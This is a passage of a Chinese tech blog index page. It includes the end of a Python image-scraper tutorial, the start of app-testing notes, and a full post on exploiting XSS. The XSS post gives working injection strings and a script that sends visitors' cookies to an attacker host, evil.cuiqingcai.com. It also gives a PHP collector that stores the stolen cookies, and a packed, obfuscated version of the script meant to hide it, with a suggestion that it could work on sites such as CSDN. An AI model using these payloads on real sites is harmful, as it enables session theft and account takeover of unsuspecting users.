class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre>
                          </td>
                          <td class="code">
                            <pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">mzitu</span><span class="params">()</span>:</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self)</span>:</span></span><br><span class="line">        self.headers = &#123;<span class="string">'User-Agent'</span>: <span class="string">"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"</span>&#125;</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">all_url</span><span class="params">(self, url)</span>:</span></span><br><span class="line">        html = self.request(url)<span class="comment">##调用request函数把套图地址传进去会返回给我们一个response</span></span><br><span class="line">        all_a = BeautifulSoup(html.text, <span class="string">'lxml'</span>).find(<span class="string">'div'</span>, class_=<span class="string">'all'</span>).find_all(<span class="string">'a'</span>)</span><br><span class="line">        <span class="comment"># 页面更改 多了一个早期图片 需要删掉（小伙伴们 可以自己尝试处理一下这个页面）</span></span><br><span class="line">        all_a.pop(<span class="number">0</span>)</span><br><span class="line">        <span class="comment"># 上面是删掉列表的第一个元素</span></span><br><span class="line">        <span class="keyword">for</span> a <span class="keyword">in</span> all_a:</span><br><span class="line">            title = a.get_text()</span><br><span class="line">            print(<span class="string">u'开始保存：'</span>, title) <span class="comment">##加点提示不然太枯燥了</span></span><br><span class="line">            path = str(title).replace(<span class="string">"?"</span>, <span class="string">'_'</span>) <span class="comment">##我注意到有个标题带有 ？  这个符号Windows系统是不能创建文件夹的所以要替换掉</span></span><br><span class="line">            self.mkdir(path) <span class="comment">##调用mkdir函数创建文件夹！这儿path代表的是标题title哦！！！！！不要糊涂了哦！</span></span><br><span class="line">            href = a[<span class="string">'href'</span>]</span><br><span class="line">            self.html(href) <span class="comment">##调用html函数把href参数传递过去！href是啥还记的吧？ 就是套图的地址哦！！不要迷糊了哦！</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">html</span><span class="params">(self, href)</span>:</span>   <span class="comment">##这个函数是处理套图地址获得图片的页面地址</span></span><br><span class="line">        html = self.request(href)</span><br><span class="line">        self.headers[<span class="string">'referer'</span>] = href</span><br><span class="line">        max_span = BeautifulSoup(html.text, <span class="string">'lxml'</span>).find(<span class="string">'div'</span>, class_=<span class="string">'pagenavi'</span>).find_all(<span class="string">'span'</span>)[<span class="number">-2</span>].get_text()</span><br><span class="line">        <span class="keyword">for</span> page <span class="keyword">in</span> range(<span class="number">1</span>, int(max_span) + <span class="number">1</span>):</span><br><span class="line">            page_url = href + <span class="string">'/'</span> + str(page)</span><br><span class="line">            self.img(page_url) <span class="comment">##调用img函数</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">img</span><span class="params">(self, page_url)</span>:</span> <span class="comment">##这个函数处理图片页面地址获得图片的实际地址</span></span><br><span class="line">        img_html = self.request(page_url)</span><br><span class="line">        img_url = BeautifulSoup(img_html.text, <span class="string">'lxml'</span>).find(<span class="string">'div'</span>, class_=<span class="string">'main-image'</span>).find(<span class="string">'img'</span>)[<span class="string">'src'</span>]</span><br><span class="line">        self.save(img_url)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">save</span><span class="params">(self, img_url)</span>:</span> <span class="comment">##这个函数保存图片</span></span><br><span class="line">        name = img_url[<span class="number">-9</span>:<span class="number">-4</span>]</span><br><span class="line">        img = self.request(img_url)</span><br><span class="line">        f = open(name + <span class="string">'.jpg'</span>, <span class="string">'ab'</span>)</span><br><span class="line">        f.write(img.content)</span><br><span class="line">        f.close()</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">mkdir</span><span class="params">(self, path)</span>:</span> <span class="comment">##这个函数创建文件夹</span></span><br><span class="line">        path = path.strip()</span><br><span class="line">        isExists = os.path.exists(os.path.join(<span class="string">"D:\mzitu"</span>, path))</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> isExists:</span><br><span class="line">            print(<span class="string">u'建了一个名字叫做'</span>, path, <span class="string">u'的文件夹！'</span>)</span><br><span class="line">            os.makedirs(os.path.join(<span class="string">"D:\mzitu"</span>, path))</span><br><span class="line">            os.chdir(os.path.join(<span class="string">"D:\mzitu"</span>, path)) <span class="comment">##切换到目录</span></span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            print(<span class="string">u'名字叫做'</span>, path, <span class="string">u'的文件夹已经存在了！'</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">request</span><span class="params">(self, url)</span>:</span> <span class="comment">##这个函数获取网页的response 然后返回</span></span><br><span class="line">        content = requests.get(url, headers=self.headers)</span><br><span class="line">        <span class="keyword">return</span> content</span><br><span class="line"></span><br><span class="line">Mzitu = mzitu() <span class="comment">##实例化</span></span><br><span class="line">Mzitu.all_url(<span class="string">'http://www.mzitu.com/all'</span>) <span class="comment">##给函数all_url传入参数  你可以当作启动爬虫（就是入口）</span></span><br></pre>
                          </td>
                        </tr>
                      </table>
                    </figure>
                    <p> <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028215007.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028215007-1024x646.png" alt="QQ截图20161028215007"></a> 完美！！好啦！结束了！ 如果大家觉得还能看懂、还行的话 我后面在写点儿其他的。 给大家看看我的成果 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028220006.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028220006.png" alt="QQ截图20161028220006"></a> 最后感谢mzitu.com 的站长。 后续几篇：</p>
                    <h1 id="小白爬虫第二弹之健壮的小爬虫"><a href="#小白爬虫第二弹之健壮的小爬虫" class="headerlink" title="小白爬虫第二弹之健壮的小爬虫"></a><a href="http://cuiqingcai.com/3256.html">小白爬虫第二弹之健壮的小爬虫</a></h1>
                    <h1 id="小白爬虫第三弹之去重去重"><a href="#小白爬虫第三弹之去重去重" class="headerlink" title="小白爬虫第三弹之去重去重"></a><a href="http://cuiqingcai.com/3314.html">小白爬虫第三弹之去重去重</a></h1>
                    <h1 id="小白爬虫第四弹之爬虫快跑（多进程-多线程）"><a href="#小白爬虫第四弹之爬虫快跑（多进程-多线程）" class="headerlink" title="小白爬虫第四弹之爬虫快跑（多进程+多线程）"></a><a href="http://cuiqingcai.com/3363.html">小白爬虫第四弹之爬虫快跑（多进程+多线程）</a></h1>
                    <h1 id="小白进阶之Scrapy第一篇"><a href="#小白进阶之Scrapy第一篇" class="headerlink" title="小白进阶之Scrapy第一篇"></a><strong><a href="http://cuiqingcai.com/3472.html">小白进阶之Scrapy第一篇</a></strong></h1>
                    <h1 id="小白进阶之Scrapy第二篇（登录篇）"><a href="#小白进阶之Scrapy第二篇（登录篇）" class="headerlink" title="小白进阶之Scrapy第二篇（登录篇）"></a><a href="http://cuiqingcai.com/3952.html">小白进阶之Scrapy第二篇（登录篇）</a></h1>
                    <h1 id="Scrapy分布式的前篇–让redis和MongoDB安全点"><a href="#Scrapy分布式的前篇–让redis和MongoDB安全点" class="headerlink" title="Scrapy分布式的前篇–让redis和MongoDB安全点"></a><a href="http://cuiqingcai.com/4020.html">Scrapy分布式的前篇–让redis和MongoDB安全点</a></h1>
                    <h1 id="小白进阶之Scrapy第三篇基于Scrapy-Redis的分布式以及cookies池"><a href="#小白进阶之Scrapy第三篇基于Scrapy-Redis的分布式以及cookies池" class="headerlink" title="小白进阶之Scrapy第三篇基于Scrapy-Redis的分布式以及cookies池"></a><a href="http://cuiqingcai.com/4048.html">小白进阶之Scrapy第三篇基于Scrapy-Redis的分布式以及cookies池</a></h1>
                    </p>
                  </div>
                </div>
                <div class="post-meta">
                  <span class="post-meta-item">
                    <span class="post-meta-item-icon">
                      <i class="far fa-user"></i>
                    </span>
                    <span class="post-meta-item-text">作者</span>
                    <span><a href="/authors/哎哟卧槽" class="author" itemprop="url" rel="index">哎哟卧槽</a></span>
                  </span>
                  <span class="post-meta-item">
                    <span class="post-meta-item-icon">
                      <i class="far fa-calendar"></i>
                    </span>
                    <span class="post-meta-item-text">发表于</span>
                    <time title="创建时间：2016-10-28 22:01:28" itemprop="dateCreated datePublished" datetime="2016-10-28T22:01:28+08:00">2016-10-28</time>
                  </span>
                  <span id="/3179.html" class="post-meta-item leancloud_visitors" data-flag-title="小白爬虫第一弹之抓取妹子图" title="阅读次数">
                    <span class="post-meta-item-icon">
                      <i class="fa fa-eye"></i>
                    </span>
                    <span class="post-meta-item-text">阅读次数：</span>
                    <span class="leancloud-visitors-count"></span>
                  </span>
                  <span class="post-meta-item" title="本文字数">
                    <span class="post-meta-item-icon">
                      <i class="far fa-file-word"></i>
                    </span>
                    <span class="post-meta-item-text">本文字数：</span>
                    <span>15k</span>
                  </span>
                  <span class="post-meta-item" title="阅读时长">
                    <span class="post-meta-item-icon">
                      <i class="far fa-clock"></i>
                    </span>
                    <span class="post-meta-item-text">阅读时长 &asymp;</span>
                    <span>14 分钟</span>
                  </span>
                </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/3133.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> JavaScript <i class="label-arrow"></i>
                  </a>
                  <a href="/3133.html" class="post-title-link" itemprop="url">Web安全学习一之XSS漏洞的利用</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="什么是XSS"><a href="#什么是XSS" class="headerlink" title="什么是XSS"></a>什么是XSS</h2>
                  <p>XSS 意为跨站脚本攻击(Cross Site Scripting)，缩写应该是CSS，但是已经有了一个层叠样式表(Cascading Style Sheets)，所以就叫它XSS了。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的，最常见的就是拿到攻击者的 Cookie 然后就可以登录别人的账号了。</p>
                  <h2 id="XSS实例"><a href="#XSS实例" class="headerlink" title="XSS实例"></a>XSS实例</h2>
                  <p>最简单的形式就是从URL中直接插入恶意的 JavaScript 代码，最简单的实例如下：</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="php"><span class="meta">&lt;?php</span></span></span><br><span class="line"></span><br><span class="line"><span class="php">$input = $_GET[<span class="string">'info'</span>];</span></span><br><span class="line"><span class="php"><span class="keyword">echo</span> $input;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>服务端接收到了数据并执行了输出操作。这样的话就完全可以利用了，你可以向参数输入任意代码。 这个服务端的测试用例网址是 <a href="http://res.cuiqingcai.com/hack/xss1.php" target="_blank" rel="noopener">http://res.cuiqingcai.com/hack/xss1.php</a> 你可以直接在参数后面加入 JavaScript 代码，例如 <a href="http://res.cuiqingcai.com/hack/xss1.php?info=%3Cscript%3Ealert(%27hello%27" target="_blank" rel="noopener">http://res.cuiqingcai.com/hack/xss1.php?info=%3Cscript%3Ealert(%27hello%27)%3C/script%3E</a>%3C/script%3E) 直接打开便实现了最简单的 XSS 攻击，不过有的浏览器对此种攻击方式执行了过滤，例如 Chrome, Firefox。有的未执行过滤的浏览器是可以正常演示的。正常的结果应该是输出一个提示框。 接下来再演示另一种攻击方式。 测试网址是 <a href="http://res.cuiqingcai.com/hack/xss2.html" target="_blank" rel="noopener">http://res.cuiqingcai.com/hack/xss2.html</a> 源代码如下</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="meta-keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">"en"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"UTF-8"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>TEST XSS<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="actionscript">        <span class="function"><span class="keyword">function</span> <span class="title">test</span><span class="params">()</span> </span>&#123;</span></span><br><span class="line"><span class="javascript">            <span class="keyword">var</span> text = <span class="built_in">document</span>.getElementById(<span class="string">'text'</span>).value;</span></span><br><span class="line"><span class="actionscript">            <span class="keyword">var</span> new_text = <span class="string">'&lt;a href="'</span> + text + <span class="string">'"&gt;test&lt;/a&gt;'</span>;</span></span><br><span class="line"><span class="javascript">            <span class="built_in">console</span>.log(new_text);</span></span><br><span class="line"><span class="javascript">            <span class="built_in">document</span>.getElementById(<span class="string">'content'</span>).innerHTML = new_text;</span></span><br><span class="line">        &#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">"content"</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"text"</span> <span class="attr">id</span>=<span class="string">"text"</span> <span class="attr">value</span>=<span class="string">""</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"button"</span> <span class="attr">id</span>=<span class="string">"button"</span> <span class="attr">value</span>=<span class="string">"提交"</span> <span class="attr">onclick</span>=<span class="string">"test()"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>现在有一个输入框，点击按钮之后会将输入框的内容提取出来，然后拼凑到超链接标签里。在这里也可以执行XSS攻击。 比如输入</p>
                  <figure class="highlight groovy">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="string">javascript:</span><span class="keyword">void</span>(<span class="number">0</span>)<span class="string">" onclick=alert('ssss') "</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>提交之后会出现一个超链接，点击之后就可以执行你输入的代码，这次就弹出一个输入框。 当然你也可以插入一张图片，用 onerror 属性定义方法</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">"&gt;<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">"#"</span> <span class="attr">onerror</span>=<span class="string">alert(/xss/)</span>&gt;</span><span class="tag">&lt;<span class="name">meta</span> <span class="attr">class</span>=<span class="string">"</span></span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>也可以达到同样的效果。 那么接下来来了，我们可以利用这个漏洞来盗取Cookie。 盗取Cookie可以这样，在本地执行一个JavaScript脚本，然后请求恶意网址，恶意网址的参数就是本网址通过 document.cookie 获取的本地cookie，这样 cookie 就保存在恶意网站上了。 这样的话，我们可以写一个脚本。</p>
                  <figure class="highlight javascript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">var</span> img = <span class="built_in">document</span>.createElement(<span class="string">'img'</span>);</span><br><span class="line">img.src = <span class="string">'http://evil.cuiqingcai.com/cookie.php?url='</span>+<span class="built_in">escape</span>(<span class="built_in">window</span>.location.href)+<span class="string">'&amp;content='</span>+<span class="built_in">escape</span>(<span class="built_in">document</span>.cookie);</span><br><span class="line">img.style = <span class="string">'display:none'</span>;</span><br><span class="line"><span class="built_in">document</span>.body.appendChild(img);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>创建一张图片，然后图片的链接是一个恶意网址加当前的cookie，然后添加到网页里。这样，新增加的一个网页便会请求这个src，实现访问。 然后还是原来的实例，我们想在代码里执行这段JavaScript，那怎么办呢？直接创建一个script节点引用？ 先把这段js保存成 <a href="http://evil.cuiqingcai.com/cookie.js" target="_blank" rel="noopener">http://evil.cuiqingcai.com/cookie.js</a>，试一下。 输入</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">javascript:void(0)"&gt;<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">"//evil.cuiqingcai.com/cookie.js"</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">"</span></span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>测试之后，发现并不能行。原因是插入script标签后，并不会自动请求这个链接。 这样我们就需要再次借助图片这个神奇的东西来帮忙了。 输入</p>
                  <figure class="highlight dart">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">javascript:<span class="keyword">void</span>(<span class="number">0</span>)<span class="string">"&gt;&lt;/a&gt;&lt;img src=# onerror="</span><span class="built_in">document</span>.body.appendChild(<span class="built_in">document</span>.createElement(<span class="string">'script'</span>)).src=<span class="string">'//evil.cuiqingcai.com/cookie.js'</span><span class="string">"&gt;&lt;a class="</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这里创建了一张图片，然后利用 onerror 方法插入了一个 script 标签，引入这个JS文件，这样就可以正常加载了。 嗯，那么这样就做到了将cookie传递给一个恶意网址。真正的盗取是在这里的。 那么 <a href="http://evil.cuiqingcai.com/cookie.php" target="_blank" rel="noopener">http://evil.cuiqingcai.com/cookie.php</a> 的内容是什么？</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="php"><span class="meta">&lt;?php</span> </span></span><br><span class="line"></span><br><span class="line"><span class="php">session_start();</span></span><br><span class="line"></span><br><span class="line"><span class="php">$_SESSION[<span class="string">'attempt'</span>] = <span class="keyword">isset</span>($_SESSION[<span class="string">'attempt'</span>])?$_SESSION[<span class="string">'attempt'</span>]:<span class="number">0</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="php">$_SESSION[<span class="string">'attempt'</span>] += <span class="number">1</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="keyword">if</span> ($_SESSION[<span class="string">'attempt'</span>] &gt;= <span class="number">100</span>) &#123;</span></span><br><span class="line"><span class="php">	<span class="keyword">die</span>(<span class="string">"Too Frequent"</span>);</span></span><br><span class="line"><span class="php">&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="php">$mysqli = <span class="keyword">new</span> mysqli(<span class="string">"localhost"</span>, <span class="string">"root"</span>, <span class="string">""</span>, <span class="string">"evil"</span>);</span></span><br><span class="line"><span class="php"><span class="keyword">if</span> ($mysqli-&gt;connect_errno) &#123;</span></span><br><span class="line"><span class="php">    <span class="keyword">echo</span> <span class="string">"Failed to connect to MySQL: ("</span> . $mysqli-&gt;connect_errno . <span class="string">") "</span> . $mysqli-&gt;connect_error;</span></span><br><span class="line"><span class="php">&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="php">$url = $_GET[<span class="string">'url'</span>];</span></span><br><span class="line"><span class="php">$content = $_GET[<span class="string">'content'</span>];</span></span><br><span class="line"></span><br><span class="line"><span class="php">$time = date(<span class="string">"Y-m-d H:i:s"</span>, time());</span></span><br><span class="line"></span><br><span class="line"><span class="php">$items = explode(<span class="string">";"</span>, $content);</span></span><br><span class="line"></span><br><span class="line"><span class="php">$js = <span class="string">''</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="keyword">foreach</span> ($items <span class="keyword">as</span> $item) &#123;</span></span><br><span class="line"><span class="php">	$js .= (<span class="string">"document.cookie='"</span>.trim($item).<span class="string">"';"</span>);</span></span><br><span class="line"><span class="php">&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="keyword">if</span> ($url &amp;&amp; $content &amp;&amp; $stmt = $mysqli-&gt;prepare(<span class="string">"insert into cookies(url, content, time, js) values (?, ?, ?, ?)"</span>)) &#123;</span></span><br><span class="line"><span class="php">    $stmt-&gt;bind_param(<span class="string">"ssss"</span>, $url, $content, $time, $js);</span></span><br><span class="line"><span class="php">    $result = $stmt-&gt;execute();</span></span><br><span class="line"><span class="php">    <span class="keyword">if</span> ($result) &#123;</span></span><br><span class="line"><span class="php">    	<span class="keyword">echo</span> <span class="string">"Collected Your Cookie &lt;br&gt;"</span> ;</span></span><br><span class="line"><span class="php">    &#125;</span></span><br><span class="line"><span class="php">&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="keyword">echo</span> <span class="string">'url:'</span>, $url, <span class="string">'&lt;br&gt;'</span>, <span class="string">'content:'</span>, $content;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>其实就是获取了url，还有cookie内容，然后插入了数据库保存起来。 这样，每成功一个XSS，就可以成功捕获到某个网站的Cookie。</p>
                  <h2 id="混淆加密"><a href="#混淆加密" class="headerlink" title="混淆加密"></a>混淆加密</h2>
                  <p>其实将刚才的cookie.js贴到任意的网站都有可能引起XSS，比如CSDN。 为了防止JavaScript被看出来，可以利用在线加密网站加密。<a href="http://tool.chinaz.com/js.aspx" target="_blank" rel="noopener">http://tool.chinaz.com/js.aspx</a> 比如上面一段代码就被加密成这样，粘贴到控制台，就能成功获取Cookie了。</p>
                  <figure class="highlight javascript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="built_in">eval</span>(<span class="function"><span class="keyword">function</span>(<span class="params">p,a,c,k,e,d</span>)</span>&#123;e=<span class="function"><span class="keyword">function</span>(<span class="params">c</span>)</span>&#123;<span class="keyword">return</span>(c&lt;a?<span class="string">""</span>:e(<span class="built_in">parseInt</span>(c/a)))+((c=c%a)&gt;<span class="number">35</span>?<span class="built_in">String</span>.fromCharCode(c+<span class="number">29</span>):c.toString(<span class="number">36</span>))&#125;;<span class="keyword">if</span>(!<span class="string">''</span>.replace(<span class="regexp">/^/</span>,<span class="built_in">String</span>))&#123;<span class="keyword">while</span>(c--)d[e(c)]=k[c]||e(c);k=[<span class="function"><span class="keyword">function</span>(<span class="params">e</span>)</span>&#123;<span class="keyword">return</span> d[e]&#125;];e=<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;<span class="keyword">return</span><span class="string">'\\w+'</span>&#125;;c=<span class="number">1</span>;&#125;;<span class="keyword">while</span>(c--)<span class="keyword">if</span>(k[c])p=p.replace(<span class="keyword">new</span> <span class="built_in">RegExp</span>(<span class="string">'\\b'</span>+e(c)+<span class="string">'\\b'</span>,<span class="string">'g'</span>),k[c]);<span class="keyword">return</span> p;&#125;(<span class="string">'9 0=1.8(\'0\');0.a=\'c://b.5.7/3.4?6=\'+2(j.i.l)+\'&amp;k=\'+2(1.3);0.h=\'e:d\';1.g.f(0);'</span>,<span class="number">22</span>,<span class="number">22</span>,<span class="string">'img|document|escape|cookie|php|cuiqingcai|url|com|createElement|var|src|evil|http|none|display|appendChild|body|style|location|window|content|href'</span>.split(<span class="string">'|'</span>),<span class="number">0</span>,&#123;&#125;))</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/崔庆才" class="author" itemprop="url" rel="index">崔庆才</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-09-28 01:21:22" itemprop="dateCreated datePublished" datetime="2016-09-28T01:21:22+08:00">2016-09-28</time>
                </span>
                <span id="/3133.html" class="post-meta-item leancloud_visitors" data-flag-title="Web安全学习一之XSS漏洞的利用" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>4.3k</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>4 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/3009.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Other <i class="label-arrow"></i>
                  </a>
                  <a href="/3009.html" class="post-title-link" itemprop="url">APP测试要点整理</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="1、冒烟测试"><a href="#1、冒烟测试" class="headerlink" title="1、冒烟测试"></a>1、冒烟测试</h2>
                  <h3 id="使用的工具"><a href="#使用的工具" class="headerlink" title="使用的工具"></a>使用的工具</h3>
                  <p>Monkey</p>
                  <h3 id="目标"><a href="#目标" class="headerlink" title="目标"></a>目标</h3>
                  <p>（1） 编写adb.exe的Monkey命令。 （2） 通过logcat定位问题，保证软件的健壮性。</p>
                  <h3 id="1-1-内存泄漏测试"><a href="#1-1-内存泄漏测试" class="headerlink" title="1.1 内存泄漏测试"></a>1.1 内存泄漏测试</h3>
